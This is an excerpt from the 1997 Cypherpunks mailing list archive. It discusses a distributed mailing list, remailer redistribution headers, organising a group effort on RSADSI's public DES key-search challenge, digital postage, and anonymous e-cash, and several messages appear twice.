subscribers to your particular list, subscribers to any other lists > adopting the same idea, and those who'd sign a consent agreement could > post through your list, that wouldn't be a problem... although I > suspect you wouldn't get many subscribers. > -Allen That wouldn't be the way it work -- Jim operates one of the cp remailers; I operate another. Jim has a standard policy concerning public domain/copyright that is different than mine. So *I* put an X-distrib-policy header in all the cp mail I forward to him. More precisely, all of my incoming mail for "cypherpunks at songbird.com" gets the header. This protocol needs a bit of refinement, and perhaps some hacking at majordomo, but seems fairly straightforward. Jim's policy is actually very reasonable. It has a rational basis, though one might disagree with it, and it is easy to deal with it this way. A more extreme policy -- "The operator of this mailing list claims an exclusive copyright on every piece of mail sent to it; by sending to it you agree to this policy", for example -- would be harder to deal with. -- Kent Crispin "No reason to get excited", kent at songbird.com,kc at llnl.gov the thief he kindly spoke... PGP fingerprint: 5A 16 DA 04 31 33 40 1E 87 DA 29 02 97 A3 46 2F From ichudov at algebra.com Sat Feb 15 14:47:32 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Sat, 15 Feb 1997 14:47:32 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <330606D5.403A@gte.net> Message-ID: <199702152242.QAA20900@manifold.algebra.com> Dale Thorn wrote: > > Igor Chudov @ home wrote: > > Dale Thorn wrote: > > > Igor Chudov @ home wrote: > > > > Dave Hayes wrote: > > > > > Ok. I'll "put up". > > > If I understood the last several hundred messages correctly, they have > > > tried to make the point that the cypherpunks mailing list (unedited) > > > was more ideal than a newsgroup. If this is what Dave is offering, > > > I'm surprised if more people don't jump on it. Then again, they > > > took their good ol' time jumping onto cypherpunks-unedited. > > > > I think that the ideas of a distributed list and the idea of > > alt.cypherpunks are both good and these two mediums complement > > each other. > > I can certainly accept this, but it would be nice if someone summarizes > these feeds every now and then, as time to check them all out is very > limited. > I agree entirely. - Igor. From ichudov at algebra.com Sat Feb 15 14:51:47 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Sat, 15 Feb 1997 14:51:47 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 In-Reply-To: <970215.101958.0t3.rnr.w165w@sendai.scytale.com> Message-ID: <199702152245.QAA20937@manifold.algebra.com> Roy M. Silvernail wrote: > > Clearly, spammers who pay their readers to read their messages (and who > > do get them to read) will have a very high response rate. That may > > justify adding postage to their letters. > > It should also spur development of intelligent agents which can retrieve > this cash without human intervention. Spammers will doubtless alter > their pages to require more interaction to find the key to the cash. > Then the IA's will be improved. Then... remember the copy protection > wars? This isn't necessarily a negative point. > > > The advantages are obvious. The disadvantage is a possibility of someone > > stealing the money on the way, if the letters are not encrypted. > > Or that the money wasn't there in the first place (absent a trusted > signature system), or the key doesn't exist, or the wrong key is > offered, or the sender put the same e-dollar on all 60000 mails sie > sent and it's already been redeemed. Well, if the trusted party performs the encryption by both recipient's public key and the "retrieval key", the problem that you mention can be avoided. - Igor. From kent at songbird.com Sat Feb 15 14:52:11 1997 From: kent at songbird.com (Kent Crispin) Date: Sat, 15 Feb 1997 14:52:11 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <199702151910.LAA01251@toad.com> Message-ID: <199702152355.PAA00282@songbird.com> Dale Thorn allegedly said: > [...] > > If I understood the last several hundred messages correctly, they have > tried to make the point that the cypherpunks mailing list (unedited) > was more ideal than a newsgroup. If this is what Dave is offering, > I'm surprised if more people don't jump on it. Then again, they > took their good ol' time jumping onto cypherpunks-unedited. Dave is offering a single mailing list, which, while I am sure Dave is a great person, still represents a single point of control and a single point of failure. A distributed mailing list has a potential for being much more robust, and for supporting a wide range of viewpoints. Furthermore a distributed mailing list is an interesting minor technical problem, and a good solution could have wide applicability. So I think that people would like to get the distributed list going... -- Kent Crispin "No reason to get excited", kent at songbird.com,kc at llnl.gov the thief he kindly spoke... PGP fingerprint: 5A 16 DA 04 31 33 40 1E 87 DA 29 02 97 A3 46 2F From aba at dcs.ex.ac.uk Sat Feb 15 15:09:59 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Sat, 15 Feb 1997 15:09:59 -0800 (PST) Subject: (fwd) DES challenge organisation Message-ID: <199702152256.WAA00403@server.test.net> An announcement forwarded to me (due to being on des-challenge mailing list I think) of proposed organisation for breaking RSADSI's DES challenge. Those interested in participating might wish to join the lists mentioned. In addition the list: des-challenge at muffin.org is for discussion of the DES challenge, and can be subscribed to by sending email to majordomo at muffin.org. -Adam ====================================================================== Subject: Announcement: Organisation Committee From: ths at rz.tu-ilmenau.de (Thomas S.) Date: 15 Feb 1997 18:27:40 +0000 Hi! The six volunteers who answered the call for a committee of management have got together to try to help 'steer' the DES challenge. We have considered the available options of proceeding, and we kindly ask everyone interested in this project to follow our proposals, to avoid waste of efforts. 1. The attempt to break the key will be coordinated. We chose this mainly because we can make a political statement. We don't want it to be a race for money. Each task will be handled by logically separate servers, some of which with be replicated and run as a hierachy. The protocol will use UDP, although there will be gateway servers for other protocols (such as HTTP, SMTP, FAX, etc). We hope that one of the first requests for a key range will be from parties interested in using a "random" approach -- we would appreciate some discussion on how large their ranges should be. 2. There will be one consistent WWW structure for the project. It does not have to managed by a single person. This structure should provide statistics, information for developers, interested users and perhaps even for the press. Several mirrors and translations will be started soon. The starting point is: http://www.des.crypto.org/ [fh28.fa.umist.ac.uk/des/] The url in brackets has to be used till we get the final subdomain. Likewise for the rest of this document. 3. The work of the different groups should be stated and coordinated on the page http://www.des.crypto.org/people.html. [fh28.fa.umist.ac.uk/des/people.html] This is to avoid uncoordinated parallel developmemt. Please write to Thomas S. [webmaster at fh28.fa.umist.ac.uk] if you what want to be mentioned on this page. 3a. Several mailing lists have been set up for the different groups: des-coding for the actual DES routine and optimisation des-networking for the network code and protocol des-www for www contributions and mirrors des-pr for press contact, translations etc (like challenge-pr) des-misc :-) des-announce moderated, important information for users of the client List address: @lists.des.crypto.org [@xtn.net] To subscribe, send mail to majordomo at lists.des.crypto.org [@xtn.net] with in the body of the message (several actions allowed): subscribe Achives available (see homepage). 4. The actual DES routine has to be written and optimised. We ask developers to participate and coordinate their efforts using the mailing list des-coding. For obvious reasons, developers outside the USA are prefered, but "publication" of algorithms seems to be a legal way go get around. Please do not use this list to distribute crypto code. 5. The prize money will be split equally between Gutenberg and EFF. There is a possibility of using part of it for stickers or something similar, but don't count on it. We hope to get a working system up and running ASAP. The fact alone that DES is seriously challenged (with a reasonable time frame) should give us quite some publicity (by the time the system is ready). If we can make use of that, we will have significantly more client than for the 48 bit key. The organisation committee: Piete Brooks Jered Floyd Tim Newsome Germano Caronni Thomas Roessler Thomas S. From aba at dcs.ex.ac.uk Sat Feb 15 15:10:57 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Sat, 15 Feb 1997 15:10:57 -0800 (PST) Subject: (fwd) DES challenge organisation In-Reply-To: <199702152256.WAA00403@server.test.net> Message-ID: <199702152302.XAA00412@server.test.net> Thomas S writes: > [...] > > 5. The prize money will be split equally between Gutenberg and EFF. > There is a possibility of using part of it for stickers or > something similar, but don't count on it. Not a good idea. How can this be enforced? The RSADSI DES challenge is open to all comers, and how do you prove that someone who finds the key found it through this group effort? I have a suspicion many people would be tempted to fill in the RSA challenge form and email it in themselves. $10,000 is a fair amount of money. I know I would be tempted. I have been running Svend Olaf's DES code, and my intention in the unlikely event that I hit the key had been to claim the money. How does it hurt the publicity if the actual individual who finds the key takes the money? Surely it adds excitement to the story? In fact it would provide people with a possibly more powerful incentive to try to break the key in the first place -- in the hopes of winning the prize! $10,000 means more to a lot of people than opposing ITAR/EAR, and participating in a technical challenge. To start with a lot of people who's CPUs we could be using don't even know what ITAR/EAR are! > We hope to get a working system up and running ASAP. The fact alone > that DES is seriously challenged (with a reasonable time frame) > should give us quite some publicity (by the time the system is > ready). If we can make use of that, we will have significantly more > client than for the 48 bit key. I would have thought announcing that $10,000 can be won by running easy to use windows software on a wide selection of newsgroups would get you lots of CPUs! Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Message-ID: <33064CBA.6765@earthlink.net> Against Moderation wrote: > > dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) writes: > >I believe homophobia is a great way to bring out the censors in >people. However, inducing censorship is only part of fighting it. >You also need respectable people to some in, argue cogently against >the dangers of censorship, perhaps even get some extremely reasonable >articles suppressed, and then spread the word about it. I find the >freedom-knights tactics' extremely lacking in this second, "clean up >and analyze the mess" phase. > Yes but the process is a very long term one--you seemed focused on this specific instance. I'm especially interested in the demise of plug pulling sys admins for example--they should be hung by their balls from the highest pole--the kind of net.slime EFF protects. As for analysis and cleanup that's a bit easier to contain on a list as opposed to the usenet at large. >As a recent example illustrates well, Vulis did a nice job of inducing >censorship on cypherpunks. However, I think most peoples' opinions >didn't really turn, or at least people didn't realize how serious >things were and didn't really care, until Tim May [someone the many >freedom-knights hate] started criticizing this censorship in extremely >reasonable messages that were suppressed from both the -edited and >-flames mailing list. And for that to happen vivid examples of such censorship had to occur and a snake was exposed as being a snake. Seems like it worked extremely well to me. It also appears that the cleanup you rightly refer to is happening as a natural progression--same will be true hopefully on a broader scale on usenet when others personally get a taste of the censorship that is lurking behind every corner. And for those who jumped on the bandwagon because Mr. May was being censored as oppossed to Dr. Vulis--they are sad people indeed. Steve From mark at unicorn.com Sat Feb 15 15:58:23 1997 From: mark at unicorn.com (Mark Grant) Date: Sat, 15 Feb 1997 15:58:23 -0800 (PST) Subject: anonymity and e-cash In-Reply-To: <199702130157.RAA13355@toad.com> Message-ID: On Wed, 12 Feb 1997, Hal Finney wrote: > A simple idea we have discussed for full anonymity uses the idea of > exchanging coins at the bank. You make an anonymous connection to > the bank, supply some ecash you have received along with some blinded > new ecash. The bank verifies that the ecash is good and signs your > blinded ecash, sending it back to you. You unblind it and have good, > fresh smelling ecash which you can keep, spend, or later deposit in > your account. Isn't this the way that 'Magic Money' works? You don't have to open an account at the bank, you simply exchange the cash you receive for new cash which you can then spend. Mark |-----------------------------------------------------------------------| |Mark Grant M.A., U.L.C. EMAIL: mark at unicorn.com | |WWW: http://www.unicorn.com/ MAILBOT: bot at unicorn.com | |-----------------------------------------------------------------------| From kent at songbird.com Sat Feb 15 15:58:49 1997 From: kent at songbird.com (Kent Crispin) Date: Sat, 15 Feb 1997 15:58:49 -0800 (PST) Subject: More on digital postage In-Reply-To: <199702151911.LAA01322@toad.com> Message-ID: <199702160102.RAA00745@songbird.com> jim bell allegedly said: > > > No, you're taking the issue to ridiculous extremes. That's why we have > doors, and locks, etc. And, for that matter, "No trespassing" signs. > > But having an address, and a walkway, and a doorbell is generally considered > if not explicit permission, but at least toleration of the idea that > somebody can walk up and knock on the door, etc. But if someone leans on my doorbell for 4 hours solid, I can call the police and have them carted away. Carried to extremes, it's criminal trespass. > Having a telephone with a > number that anyone can dial is going to result in some level of intrusion. > Having a fax machine is a similar issue, unless technology provides a way to > block unwanted faxes. > > I certainly don't claim that we shouldn't try to do anything about these > limitations! Quite the opposite, technology should be employed to protect > privacy. But faxes are not fundamentally different than telephones, > doorbells, and walkways: They facilitate interaction, even potentially > undesirable interaction. And, just as in the case with my doorbell, when the undesirable interaction gets past some reasonable limit, legal action can be taken. > > Nope. Sure I realize that they _can_, but that doesn't make it right, > >and it doesn't make it legal. > > "Legal" is an arbirary concept; the opposite, "illegal," is merely what some > bunch of brainless legislators get together and disapprove. Arbitrary or not, it has real world consequences. But then most things with real world consequences are arbitrary, unlike libertarian fantasies, which enjoy the luxury of unreality. -- Kent Crispin "No reason to get excited", kent at songbird.com,kc at llnl.gov the thief he kindly spoke... PGP fingerprint: 5A 16 DA 04 31 33 40 1E 87 DA 29 02 97 A3 46 2F From codehead at ix.netcom.com Sat Feb 15 16:25:09 1997 From: codehead at ix.netcom.com (codehead at ix.netcom.com) Date: Sat, 15 Feb 1997 16:25:09 -0800 (PST) Subject: Welcome Message-ID: <199702160024.SAA24787@dfw-ix10.ix.netcom.com> > Date: Sat, 15 Feb 1997 10:39:28 GMT > From: List-Owner > Subject: Welcome > Reply-to: cypherpunks at toad.com > Welcome to Dia's Press Releases mailing list. > > You will be sent press releases about Dia's exhibitions and other programs. > > If you have questions or would like to request more press information, please > contact Jennie Prebor at jennie at diacenter.org or (212) 989-5566 x 118. > > If you would like to stop receiving mailings, please send an email to list-owner at diacenter.org with the subject line "Remove me from Dia News." > > PLEASE NOTE: You may receive more than one message indicating a succesful subscription. If you joined more than one of Dia's mailing lists, you will receive one message for each list you joined. > > Thank you for your interest in Dia Center for the Arts. > > Dia Center for the Arts > 548 West 22nd Street > New York, NY 10011 > http://www.diacenter.org > > Here it is: Return-Path: Received: from sirius.infonex.com (majordom at sirius.infonex.com [206.170.114.2]) by ixmail5.ix.netcom.com (8.7.5/SMI-4.1/Netcom) id HAA28799; Sat, 15 Feb 1997 07:56:45 -0800 (PST) Received: (from majordom at localhost) by sirius.infonex.com (8.7.3/8.7.3) id HAA02528 for cypherpunks-outgoing; Sat, 15 Feb 1997 07:49:50 -0800 (PST) Received: from rigel.infonex.com (root at rigel.infonex.com [206.170.114.3]) by sirius.infonex.com (8.7.3/8.7.3) with ESMTP id HAA02516 for ; Sat, 15 Feb 1997 07:49:44 -0800 (PST) Received: from toad.com (toad.com [140.174.2.1]) by rigel.infonex.com (8.7.3/8.7.3) with ESMTP id HAA06934 for ; Sat, 15 Feb 1997 07:45:17 -0800 (PST) Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id HAA23217; Sat, 15 Feb 1997 07:43:39 -0800 (PST) Received: from diacenter.org (diacenter.org [204.168.147.10]) by toad.com (8.7.5/8.7.3) with SMTP id HAA23200; Sat, 15 Feb 1997 07:43:33 -0800 (PST) Received: (from nobody at localhost) by diacenter.org (8.6.12/8.6.12) id KAA03924 for cypherpunks at toad.com; Sat, 15 Feb 1997 10:39:28 GMT Date: Sat, 15 Feb 1997 10:39:28 GMT From: List-Owner Message-Id: <199702151039.KAA03924 at diacenter.org> Subject: Welcome Apparently-To: cypherpunks at toad.com Sender: owner-cypherpunks at sirius.infonex.com Precedence: bulk Reply-To: cypherpunks at toad.com X-List: cypherpunks at cyberpass.net X-PMFLAGS: 34603136 0 Welcome to Dia's Press Releases mailing list. You will be sent press releases about Dia's exhibitions and other programs. If you have questions or would like to request more press information, please contact Jennie Prebor at jennie at diacenter.org or (212) 989-5566 x 118. If you would like to stop receiving mailings, please send an email to list-owner at diacenter.org with the subject line "Remove me from Dia News." PLEASE NOTE: You may receive more than one message indicating a succesful subscription. If you joined more than one of Dia's mailing lists, you will receive one message for each list you joined. Thank you for your interest in Dia Center for the Arts. Dia Center for the Arts 548 West 22nd Street New York, NY 10011 http://www.diacenter.org From tcmay at got.net Sat Feb 15 16:51:53 1997 From: tcmay at got.net (Timothy C. May) Date: Sat, 15 Feb 1997 16:51:53 -0800 (PST) Subject: (fwd) DES challenge organisation In-Reply-To: <199702152256.WAA00403@server.test.net> Message-ID: At 11:02 PM +0000 2/15/97, Adam Back wrote: >Thomas S writes: >> [...] >> >> 5. The prize money will be split equally between Gutenberg and EFF. >> There is a possibility of using part of it for stickers or >> something similar, but don't count on it. > >Not a good idea. > >How can this be enforced? The RSADSI DES challenge is open to all >comers, and how do you prove that someone who finds the key found it >through this group effort? > >I have a suspicion many people would be tempted to fill in the RSA >challenge form and email it in themselves. $10,000 is a fair amount >of money. Once again, the advantages of an "uncoordinated search" should be mentioned. An uncoordinated search, in which people randomly search chunks of keyspace is obviously less efficient than a coordinated search where no part of the space is searched two or more times. However, an uncoordinated search is only less efficient by a small factor of two or three, with a 95% probability that the key will be found with an effort "only" 3 times greater than with a coordinated search. (The Poisson probability distribution is what's involved here, and the math is fairly easy to work out.) A 2-4x factor is significant, and may warrant a coordinated search. However, the various problems implicit in coordinated searches are factors, too. Also, an uncoordinated search solves the "prize" problem, as whomever finds the key makes the contact with RSADSI. One of the problems with a coordinated search, if the remaining keyspace to be doled out is publically announced, is that as the keyspace is searched and a key _not_ found, the remaining keyspace is increasingly more tempting for "independent searchers" to search. Sort of the way the odds on some lotteries actually become "acceptable" as the lottery pot grows. The organizer of the coordinated search must then, I surmise, keep the assignments secret and dole out keyspace securely. Having the prize money go to the finder of the key, as opposed to some artificial division between EFF, Gutenberg, etc., is also an incentive for people to contribute more CPU time. --Tim May >I know I would be tempted. I have been running Svend Olaf's DES code, >and my intention in the unlikely event that I hit the key had been to >claim the money. > >How does it hurt the publicity if the actual individual who finds the >key takes the money? Surely it adds excitement to the story? > >In fact it would provide people with a possibly more powerful >incentive to try to break the key in the first place -- in the hopes >of winning the prize! $10,000 means more to a lot of people than >opposing ITAR/EAR, and participating in a technical challenge. To >start with a lot of people who's CPUs we could be using don't even >know what ITAR/EAR are! > >> We hope to get a working system up and running ASAP. The fact alone >> that DES is seriously challenged (with a reasonable time frame) >> should give us quite some publicity (by the time the system is >> ready). If we can make use of that, we will have significantly more >> client than for the 48 bit key. > >I would have thought announcing that $10,000 can be won by running >easy to use windows software on a wide selection of newsgroups would >get you lots of CPUs! > >Adam >-- >print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> >)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Message-ID: <199702160129.TAA05791@smoke.suba.com> > However, I would like it if the mirror operators would reinstantiate a > feature of the original list for me. The reply-to field on the mirrors is > currently set to cypherpunks at toad.com. On the original list, this was set > to "sender", both to keep people from replying to the list unnecessarily > (hah! :-)) but also to keep mail loops from forming. Mail loops could be a > big problem, especially when you guys put together your neo-netnews > mailring. (a little jyaism, that... :-)). As to the Mailloops: Majordomo seems (at least to me) to be pretty good about handling those kinds of things. If you configure it right. I would rather have the replyto:cypherpunks as I am rather lazy, and would like to be able to save everything in one file easily. Just my $0.01. From ichudov at algebra.com Sat Feb 15 17:11:00 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Sat, 15 Feb 1997 17:11:00 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702160111.RAA14406@toad.com> Dale Thorn wrote: > > Igor Chudov @ home wrote: > > Dale Thorn wrote: > > > Igor Chudov @ home wrote: > > > > Dave Hayes wrote: > > > > > Ok. I'll "put up". > > > If I understood the last several hundred messages correctly, they have > > > tried to make the point that the cypherpunks mailing list (unedited) > > > was more ideal than a newsgroup. If this is what Dave is offering, > > > I'm surprised if more people don't jump on it. Then again, they > > > took their good ol' time jumping onto cypherpunks-unedited. > > > > I think that the ideas of a distributed list and the idea of > > alt.cypherpunks are both good and these two mediums complement > > each other. > > I can certainly accept this, but it would be nice if someone summarizes > these feeds every now and then, as time to check them all out is very > limited. > I agree entirely. - Igor. From boursy at earthlink.net Sat Feb 15 17:11:10 1997 From: boursy at earthlink.net (ISP_Ratings) Date: Sat, 15 Feb 1997 17:11:10 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702160111.RAA14431@toad.com> Against Moderation wrote: > > dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) writes: > >I believe homophobia is a great way to bring out the censors in >people. However, inducing censorship is only part of fighting it. >You also need respectable people to some in, argue cogently against >the dangers of censorship, perhaps even get some extremely reasonable >articles suppressed, and then spread the word about it. I find the >freedom-knights tactics' extremely lacking in this second, "clean up >and analyze the mess" phase. > Yes but the process is a very long term one--you seemed focused on this specific instance. I'm especially interested in the demise of plug pulling sys admins for example--they should be hung by their balls from the highest pole--the kind of net.slime EFF protects. As for analysis and cleanup that's a bit easier to contain on a list as opposed to the usenet at large. >As a recent example illustrates well, Vulis did a nice job of inducing >censorship on cypherpunks. However, I think most peoples' opinions >didn't really turn, or at least people didn't realize how serious >things were and didn't really care, until Tim May [someone the many >freedom-knights hate] started criticizing this censorship in extremely >reasonable messages that were suppressed from both the -edited and >-flames mailing list. And for that to happen vivid examples of such censorship had to occur and a snake was exposed as being a snake. Seems like it worked extremely well to me. It also appears that the cleanup you rightly refer to is happening as a natural progression--same will be true hopefully on a broader scale on usenet when others personally get a taste of the censorship that is lurking behind every corner. And for those who jumped on the bandwagon because Mr. May was being censored as oppossed to Dr. Vulis--they are sad people indeed. Steve From mark at unicorn.com Sat Feb 15 17:11:11 1997 From: mark at unicorn.com (Mark Grant) Date: Sat, 15 Feb 1997 17:11:11 -0800 (PST) Subject: anonymity and e-cash Message-ID: <199702160111.RAA14436@toad.com> On Wed, 12 Feb 1997, Hal Finney wrote: > A simple idea we have discussed for full anonymity uses the idea of > exchanging coins at the bank. You make an anonymous connection to > the bank, supply some ecash you have received along with some blinded > new ecash. The bank verifies that the ecash is good and signs your > blinded ecash, sending it back to you. You unblind it and have good, > fresh smelling ecash which you can keep, spend, or later deposit in > your account. Isn't this the way that 'Magic Money' works? You don't have to open an account at the bank, you simply exchange the cash you receive for new cash which you can then spend. Mark |-----------------------------------------------------------------------| |Mark Grant M.A., U.L.C. EMAIL: mark at unicorn.com | |WWW: http://www.unicorn.com/ MAILBOT: bot at unicorn.com | |-----------------------------------------------------------------------| From kent at songbird.com Sat Feb 15 17:11:20 1997 From: kent at songbird.com (Kent Crispin) Date: Sat, 15 Feb 1997 17:11:20 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702160111.RAA14459@toad.com> Dale Thorn allegedly said: > [...] > > If I understood the last several hundred messages correctly, they have > tried to make the point that the cypherpunks mailing list (unedited) > was more ideal than a newsgroup. If this is what Dave is offering, > I'm surprised if more people don't jump on it. Then again, they > took their good ol' time jumping onto cypherpunks-unedited. Dave is offering a single mailing list, which, while I am sure Dave is a great person, still represents a single point of control and a single point of failure. A distributed mailing list has a potential for being much more robust, and for supporting a wide range of viewpoints. Furthermore a distributed mailing list is an interesting minor technical problem, and a good solution could have wide applicability. So I think that people would like to get the distributed list going... -- Kent Crispin "No reason to get excited", kent at songbird.com,kc at llnl.gov the thief he kindly spoke... PGP fingerprint: 5A 16 DA 04 31 33 40 1E 87 DA 29 02 97 A3 46 2F From kent at songbird.com Sat Feb 15 17:11:48 1997 From: kent at songbird.com (Kent Crispin) Date: Sat, 15 Feb 1997 17:11:48 -0800 (PST) Subject: More on digital postage Message-ID: <199702160111.RAA14498@toad.com> jim bell allegedly said: > > > No, you're taking the issue to ridiculous extremes. That's why we have > doors, and locks, etc. And, for that matter, "No trespassing" signs. > > But having an address, and a walkway, and a doorbell is generally considered > if not explicit permission, but at least toleration of the idea that > somebody can walk up and knock on the door, etc. But if someone leans on my doorbell for 4 hours solid, I can call the police and have them carted away. Carried to extremes, it's criminal trespass. > Having a telephone with a > number that anyone can dial is going to result in some level of intrusion. > Having a fax machine is a similar issue, unless technology provides a way to > block unwanted faxes. > > I certainly don't claim that we shouldn't try to do anything about these > limitations! Quite the opposite, technology should be employed to protect > privacy. But faxes are not fundamentally different than telephones, > doorbells, and walkways: They facilitate interaction, even potentially > undesirable interaction. And, just as in the case with my doorbell, when the undesirable interaction gets past some reasonable limit, legal action can be taken. > > Nope. Sure I realize that they _can_, but that doesn't make it right, > >and it doesn't make it legal. > > "Legal" is an arbirary concept; the opposite, "illegal," is merely what some > bunch of brainless legislators get together and disapprove. Arbitrary or not, it has real world consequences. But then most things with real world consequences are arbitrary, unlike libertarian fantasies, which enjoy the luxury of unreality. -- Kent Crispin "No reason to get excited", kent at songbird.com,kc at llnl.gov the thief he kindly spoke... PGP fingerprint: 5A 16 DA 04 31 33 40 1E 87 DA 29 02 97 A3 46 2F From codehead at ix.netcom.com Sat Feb 15 17:11:49 1997 From: codehead at ix.netcom.com (codehead at ix.netcom.com) Date: Sat, 15 Feb 1997 17:11:49 -0800 (PST) Subject: Welcome Message-ID: <199702160111.RAA14502@toad.com> > Date: Sat, 15 Feb 1997 10:39:28 GMT > From: List-Owner > Subject: Welcome > Reply-to: cypherpunks at toad.com > Welcome to Dia's Press Releases mailing list. > > You will be sent press releases about Dia's exhibitions and other programs. > > If you have questions or would like to request more press information, please > contact Jennie Prebor at jennie at diacenter.org or (212) 989-5566 x 118. > > If you would like to stop receiving mailings, please send an email to list-owner at diacenter.org with the subject line "Remove me from Dia News." > > PLEASE NOTE: You may receive more than one message indicating a succesful subscription. If you joined more than one of Dia's mailing lists, you will receive one message for each list you joined. > > Thank you for your interest in Dia Center for the Arts. > > Dia Center for the Arts > 548 West 22nd Street > New York, NY 10011 > http://www.diacenter.org > > Here it is: Return-Path: Received: from sirius.infonex.com (majordom at sirius.infonex.com [206.170.114.2]) by ixmail5.ix.netcom.com (8.7.5/SMI-4.1/Netcom) id HAA28799; Sat, 15 Feb 1997 07:56:45 -0800 (PST) Received: (from majordom at localhost) by sirius.infonex.com (8.7.3/8.7.3) id HAA02528 for cypherpunks-outgoing; Sat, 15 Feb 1997 07:49:50 -0800 (PST) Received: from rigel.infonex.com (root at rigel.infonex.com [206.170.114.3]) by sirius.infonex.com (8.7.3/8.7.3) with ESMTP id HAA02516 for ; Sat, 15 Feb 1997 07:49:44 -0800 (PST) Received: from toad.com (toad.com [140.174.2.1]) by rigel.infonex.com (8.7.3/8.7.3) with ESMTP id HAA06934 for ; Sat, 15 Feb 1997 07:45:17 -0800 (PST) Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id HAA23217; Sat, 15 Feb 1997 07:43:39 -0800 (PST) Received: from diacenter.org (diacenter.org [204.168.147.10]) by toad.com (8.7.5/8.7.3) with SMTP id HAA23200; Sat, 15 Feb 1997 07:43:33 -0800 (PST) Received: (from nobody at localhost) by diacenter.org (8.6.12/8.6.12) id KAA03924 for cypherpunks at toad.com; Sat, 15 Feb 1997 10:39:28 GMT Date: Sat, 15 Feb 1997 10:39:28 GMT From: List-Owner Message-Id: <199702151039.KAA03924 at diacenter.org> Subject: Welcome Apparently-To: cypherpunks at toad.com Sender: owner-cypherpunks at sirius.infonex.com Precedence: bulk Reply-To: cypherpunks at toad.com X-List: cypherpunks at cyberpass.net X-PMFLAGS: 34603136 0 Welcome to Dia's Press Releases mailing list. You will be sent press releases about Dia's exhibitions and other programs. If you have questions or would like to request more press information, please contact Jennie Prebor at jennie at diacenter.org or (212) 989-5566 x 118. If you would like to stop receiving mailings, please send an email to list-owner at diacenter.org with the subject line "Remove me from Dia News." PLEASE NOTE: You may receive more than one message indicating a succesful subscription. If you joined more than one of Dia's mailing lists, you will receive one message for each list you joined. Thank you for your interest in Dia Center for the Arts. Dia Center for the Arts 548 West 22nd Street New York, NY 10011 http://www.diacenter.org From aba at dcs.ex.ac.uk Sat Feb 15 17:11:52 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Sat, 15 Feb 1997 17:11:52 -0800 (PST) Subject: (fwd) DES challenge organisation Message-ID: <199702160111.RAA14514@toad.com> An announcement forwarded to me (due to being on des-challenge mailing list I think) of proposed organisation for breaking RSADSI's DES challenge. Those interested in participating might wish to join the lists mentioned. In addition the list: des-challenge at muffin.org is for discussion of the DES challenge, and can be subscribed to by sending email to majordomo at muffin.org. -Adam ====================================================================== Subject: Announcement: Organisation Committee From: ths at rz.tu-ilmenau.de (Thomas S.) Date: 15 Feb 1997 18:27:40 +0000 Hi! The six volunteers who answered the call for a committee of management have got together to try to help 'steer' the DES challenge. We have considered the available options of proceeding, and we kindly ask everyone interested in this project to follow our proposals, to avoid waste of efforts. 1. The attempt to break the key will be coordinated. We chose this mainly because we can make a political statement. We don't want it to be a race for money. Each task will be handled by logically separate servers, some of which with be replicated and run as a hierachy. The protocol will use UDP, although there will be gateway servers for other protocols (such as HTTP, SMTP, FAX, etc). We hope that one of the first requests for a key range will be from parties interested in using a "random" approach -- we would appreciate some discussion on how large their ranges should be. 2. There will be one consistent WWW structure for the project. It does not have to managed by a single person. This structure should provide statistics, information for developers, interested users and perhaps even for the press. Several mirrors and translations will be started soon. The starting point is: http://www.des.crypto.org/ [fh28.fa.umist.ac.uk/des/] The url in brackets has to be used till we get the final subdomain. Likewise for the rest of this document. 3. The work of the different groups should be stated and coordinated on the page http://www.des.crypto.org/people.html. [fh28.fa.umist.ac.uk/des/people.html] This is to avoid uncoordinated parallel developmemt. Please write to Thomas S. [webmaster at fh28.fa.umist.ac.uk] if you what want to be mentioned on this page. 3a. Several mailing lists have been set up for the different groups: des-coding for the actual DES routine and optimisation des-networking for the network code and protocol des-www for www contributions and mirrors des-pr for press contact, translations etc (like challenge-pr) des-misc :-) des-announce moderated, important information for users of the client List address: @lists.des.crypto.org [@xtn.net] To subscribe, send mail to majordomo at lists.des.crypto.org [@xtn.net] with in the body of the message (several actions allowed): subscribe Achives available (see homepage). 4. The actual DES routine has to be written and optimised. We ask developers to participate and coordinate their efforts using the mailing list des-coding. For obvious reasons, developers outside the USA are prefered, but "publication" of algorithms seems to be a legal way go get around. Please do not use this list to distribute crypto code. 5. The prize money will be split equally between Gutenberg and EFF. There is a possibility of using part of it for stickers or something similar, but don't count on it. We hope to get a working system up and running ASAP. The fact alone that DES is seriously challenged (with a reasonable time frame) should give us quite some publicity (by the time the system is ready). If we can make use of that, we will have significantly more client than for the 48 bit key. The organisation committee: Piete Brooks Jered Floyd Tim Newsome Germano Caronni Thomas Roessler Thomas S. From kent at songbird.com Sat Feb 15 17:11:56 1997 From: kent at songbird.com (Kent Crispin) Date: Sat, 15 Feb 1997 17:11:56 -0800 (PST) Subject: Fuck UseNet (fwd) Message-ID: <199702160111.RAA14527@toad.com> E. Allen Smith allegedly said: > > From: IN%"ravage at EINSTEIN.ssz.com" "Jim Choate" 15-FEB-1997 07:11:54.43 > > >Perhaps in addition to the X-foo structures we have discussed already we > >might consider adding, > > >X-distrib-policy: foo > > >Where foo might be, > > > Public Domain > > All rights reserved, contact author for redistribution > > Distribution for non-commercial uses permitted > > Refer to authors header > > Copyleft > > etc. > > >or whatever the policy might be for a given remailer. 